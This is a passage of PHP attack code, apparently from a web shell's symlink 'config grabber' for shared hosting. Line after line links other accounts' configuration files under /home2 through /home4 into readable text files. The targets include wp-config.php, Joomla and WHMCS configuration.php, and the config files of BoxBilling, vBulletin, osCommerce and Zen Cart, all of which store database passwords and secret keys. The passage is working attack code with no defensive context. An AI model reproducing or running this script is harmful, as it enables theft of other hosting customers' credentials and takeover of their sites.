1927@symlink('/home2/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
1928@symlink('/home2/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
1929@symlink('/home2/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
1930@symlink('/home2/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
1931@symlink('/home2/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
1932@symlink('/home2/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
1933@symlink('/home2/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
1934@symlink('/home2/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
1935@symlink('/home2/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
1936@symlink('/home2/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
1937@symlink('/home2/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
1938@symlink('/home2/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
1939@symlink('/home2/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
1940@symlink('/home2/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
1941@symlink('/home2/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
1942@symlink('/home2/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
1943@symlink('/home2/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
1944@symlink('/home2/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
1945@symlink('/home2/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
1946@symlink('/home2/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
1947@symlink('/home2/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
1948@symlink('/home2/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
1949@symlink('/home2/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
1950@symlink('/home2/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
1951@symlink('/home2/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
1952@symlink('/home2/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
1953@symlink('/home2/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
1954@symlink('/home2/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
1955@symlink('/home2/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
1956@symlink('/home2/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
1957@symlink('/home2/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
1958@symlink('/home2/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
1959@symlink('/home2/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
1960@symlink('/home2/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
1961@symlink('/home2/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
1962@symlink('/home2/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
1963@symlink('/home2/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
1964@symlink('/home2/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
1965
1966//Home3
1967
1968@symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
1969@symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
1970@symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
1971@symlink('/home3/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
1972@symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
1973@symlink('/home3/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
1974@symlink('/home3/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
1975@symlink('/home3/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
1976@symlink('/home3/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
1977@symlink('/home3/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
1978@symlink('/home3/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
1979@symlink('/home3/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
1980@symlink('/home3/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
1981@symlink('/home3/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
1982@symlink('/home3/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
1983@symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
1984@symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
1985@symlink('/home3/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
1986@symlink('/home3/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
1987@symlink('/home3/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
1988@symlink('/home3/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
1989@symlink('/home3/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
1990@symlink('/home3/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
1991@symlink('/home3/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
1992@symlink('/home3/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
1993@symlink('/home3/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
1994@symlink('/home3/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
1995@symlink('/home3/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
1996@symlink('/home3/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
1997@symlink('/home3/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
1998@symlink('/home3/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
1999@symlink('/home3/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
2000@symlink('/home3/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
2001@symlink('/home3/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
2002@symlink('/home3/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
2003@symlink('/home3/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
2004@symlink('/home3/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
2005@symlink('/home3/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
2006@symlink('/home3/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
2007@symlink('/home3/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
2008@symlink('/home3/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
2009@symlink('/home3/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
2010@symlink('/home3/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
2011@symlink('/home3/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
2012@symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
2013@symlink('/home3/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
2014@symlink('/home3/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
2015@symlink('/home3/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
2016@symlink('/home3/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
2017@symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
2018@symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
2019@symlink('/home3/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
2020@symlink('/home3/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
2021@symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
2022@symlink('/home3/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
2023@symlink('/home3/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
2024@symlink('/home3/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
2025@symlink('/home3/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
2026@symlink('/home3/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
2027@symlink('/home3/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
2028@symlink('/home3/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
2029@symlink('/home3/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
2030@symlink('/home3/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
2031@symlink('/home3/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
2032@symlink('/home3/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
2033@symlink('/home3/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
2034@symlink('/home3/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
2035@symlink('/home3/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
2036@symlink('/home3/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
2037@symlink('/home3/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
2038@symlink('/home3/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
2039@symlink('/home3/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
2040@symlink('/home3/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
2041@symlink('/home3/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
2042@symlink('/home3/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
2043@symlink('/home3/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
2044@symlink('/home3/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
2045@symlink('/home3/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
2046@symlink('/home3/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
2047@symlink('/home3/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
2048@symlink('/home3/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
2049@symlink('/home3/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
2050@symlink('/home3/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
2051@symlink('/home3/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
2052@symlink('/home3/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
2053@symlink('/home3/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
2054@symlink('/home3/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
2055@symlink('/home3/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
2056@symlink('/home3/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
2057@symlink('/home3/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
2058@symlink('/home3/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
2059@symlink('/home3/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
2060@symlink('/home3/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
2061@symlink('/home3/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
2062@symlink('/home3/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
2063@symlink('/home3/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
2064@symlink('/home3/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
2065@symlink('/home3/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
2066@symlink('/home3/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
2067@symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
2068@symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
2069@symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
2070@symlink('/home3/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
2071@symlink('/home3/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
2072@symlink('/home3/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
2073@symlink('/home3/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
2074@symlink('/home3/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
2075@symlink('/home3/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
2076@symlink('/home3/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
2077@symlink('/home3/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
2078@symlink('/home3/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
2079@symlink('/home3/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
2080@symlink('/home3/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
2081@symlink('/home3/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
2082@symlink('/home3/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
2083@symlink('/home3/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
2084@symlink('/home3/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
2085@symlink('/home3/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
2086@symlink('/home3/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
2087@symlink('/home3/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
2088@symlink('/home3/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
2089@symlink('/home3/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
2090@symlink('/home3/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
2091@symlink('/home3/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
2092@symlink('/home3/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
2093@symlink('/home3/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
2094@symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
2095@symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
2096@symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
2097@symlink('/home3/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
2098@symlink('/home3/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
2099@symlink('/home3/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
2100@symlink('/home3/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
2101@symlink('/home3/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
2102@symlink('/home3/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
2103@symlink('/home3/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
2104@symlink('/home3/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
2105@symlink('/home3/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
2106@symlink('/home3/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
2107@symlink('/home3/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
2108@symlink('/home3/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
2109@symlink('/home3/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
2110@symlink('/home3/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
2111@symlink('/home3/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
2112@symlink('/home3/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
2113@symlink('/home3/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
2114@symlink('/home3/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
2115@symlink('/home3/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
2116@symlink('/home3/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
2117@symlink('/home3/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
2118@symlink('/home3/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
2119@symlink('/home3/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
2120@symlink('/home3/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
2121@symlink('/home3/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
2122@symlink('/home3/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
2123@symlink('/home3/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
2124@symlink('/home3/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
2125@symlink('/home3/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
2126@symlink('/home3/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
2127@symlink('/home3/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
2128@symlink('/home3/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
2129@symlink('/home3/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
2130@symlink('/home3/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
2131@symlink('/home3/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
2132@symlink('/home3/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
2133@symlink('/home3/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
2134@symlink('/home3/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
2135@symlink('/home3/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
2136@symlink('/home3/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
2137@symlink('/home3/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
2138@symlink('/home3/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
2139@symlink('/home3/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
2140@symlink('/home3/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
2141@symlink('/home3/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
2142@symlink('/home3/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
2143@symlink('/home3/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
2144@symlink('/home3/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
2145@symlink('/home3/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
2146@symlink('/home3/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
2147@symlink('/home3/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
2148
2149//Home4
2150
2151@symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
2152@symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
2153@symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
2154@symlink('/home4/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
2155@symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
2156@symlink('/home4/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
2157@symlink('/home4/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
2158@symlink('/home4/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
2159@symlink('/home4/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
2160@symlink('/home4/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
2161@symlink('/home4/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
2162@symlink('/home4/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
2163@symlink('/home4/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
2164@symlink('/home4/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
2165@symlink('/home4/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
2166@symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
2167@symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
2168@symlink('/home4/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
2169@symlink('/home4/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
2170@symlink('/home4/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
2171@symlink('/home4/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
2172@symlink('/home4/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
2173@symlink('/home4/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
2174@symlink('/home4/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
2175@symlink('/home4/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
2176@symlink('/home4/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
2177@symlink('/home4/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
2178@symlink('/home4/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
2179@symlink('/home4/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
2180@symlink('/home4/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
2181@symlink('/home4/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
2182@symlink('/home4/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
2183@symlink('/home4/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
2184@symlink('/home4/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
2185@symlink('/home4/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
2186@symlink('/home4/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
2187@symlink('/home4/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
2188@symlink('/home4/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
2189@symlink('/home4/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
2190@symlink('/home4/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
2191@symlink('/home4/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
2192@symlink('/home4/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
2193@symlink('/home4/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
2194@symlink('/home4/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
2195@symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
2196@symlink('/home4/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
2197@symlink('/home4/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
2198@symlink('/home4/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
2199@symlink('/home4/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
2200@symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
2201@symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
2202@symlink('/home4/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
2203@symlink('/home4/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
2204@symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
2205@symlink('/home4/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
2206@symlink('/home4/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
2207@symlink('/home4/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
2208@symlink('/home4/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
2209@symlink('/home4/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
2210@symlink('/home4/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
2211@symlink('/home4/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
2212@symlink('/home4/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
2213@symlink('/home4/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
2214@symlink('/home4/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
2215@symlink('/home4/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
2216@symlink('/home4/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
2217@symlink('/home4/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
2218@symlink('/home4/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
2219@symlink('/home4/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
2220@symlink('/home4/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
2221@symlink('/home4/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
2222@symlink('/home4/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
2223@symlink('/home4/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
2224@symlink('/home4/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
2225@symlink('/home4/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
2226@symlink('/home4/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
2227@symlink('/home4/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
2228@symlink('/home4/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
2229@symlink('/home4/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
2230@symlink('/home4/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
2231@symlink('/home4/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
2232@symlink('/home4/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
2233@symlink('/home4/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
2234@symlink('/home4/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
2235@symlink('/home4/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
2236@symlink('/home4/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
2237@symlink('/home4/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
2238@symlink('/home4/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
2239@symlink('/home4/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
2240@symlink('/home4/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
2241@symlink('/home4/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
2242@symlink('/home4/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
2243@symlink('/home4/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
2244@symlink('/home4/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
2245@symlink('/home4/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
2246@symlink('/home4/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
2247@symlink('/home4/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
